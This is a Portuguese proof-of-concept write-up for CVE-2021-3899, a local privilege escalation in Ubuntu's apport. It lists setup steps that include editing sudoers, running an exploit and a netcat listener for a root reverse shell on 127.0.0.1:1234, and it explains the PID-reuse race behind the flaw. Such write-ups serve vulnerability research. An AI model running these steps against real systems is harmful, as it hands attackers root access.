CVE-2021-3899 PoC

Reproduzir

0. Instale uma versão mais antiga do apport: sudo apt-get install apport=2.20.11-0ubuntu27 (qualquer versão <= 2.20.11-0ubuntu27.10 serve, mas você precisa baixar o código-fonte)
1. (opcional) defina um pid_max pequeno. caso contrário, levará mais tempo para se preparar para a reversão de pid. echo 10000 | sudo tee /proc/sys/kernel/pid_max
2. permita que qualquer pessoa execute ping como root: adicione ALL ALL=(root) NOPASSWD: /usr/bin/ping em /etc/sudoers
3. execute várias vezes ulimit -c unlimited; ./exploit
4. você deve ver um arquivo em /etc/logrotate.d/core
5. abra outro shell e execute nc -lvcp 1234
6. espere até que o logrotate seja acionado, você pode:
   1. ajuste o relógio um minuto antes do acionamento diário do crontab, e espere. (verifique /etc/crontab)
   2. execute sudo logrotate -vf /usr/sbin/logrotate /etc/logrotate.conf para acionar o logrotate imediatamente. (igual a /etc/cron.daily/logrotate)
7. haverá um shell reverso de root conectando a 127.0.0.1:1234

Detalhe

Apport verificará se o pid está sendo reutilizado, verificando se o tempo de início do processo é posterior ao do próprio apport:

  # /usr/share/apport/apport
  594 apport_start = get_apport_starttime()
  595 process_start = get_process_starttime()
  596 if process_start > apport_start:
  597 error_log('process was replaced after Apport started, ignoring')
  598 sys.exit(0)

Mas este pid pode ser reutilizado logo após o apport ser lançado. Nesse caso, get_apport_starttime() == get_process_starttime().

Então, você pode fazer o apport gerar um arquivo core com -rw------- root:root, se você puder reocupar este PID com outro processo executando sob uid==0:

1. prepare um processo X para travar, cujo pid é A
2. repita o fork de processos até que o pid atual atinja A - 2
3. faça o processo X travar, apport será lançado pelo kernel com pid A - 1. Nós matamos o processo X, então o pid A agora está livre.
4. execute o comando sudo ping 8.8.8.8 com cwd /etc/logrotate.d/. um processo executando sob root:root irá reocupar o pid A.
5. Como o tempo de início do sudo e do apport são os mesmos, a verificação da linha 596 é ignorada. Apport então gera um arquivo core do processo X em /etc/logrotate.d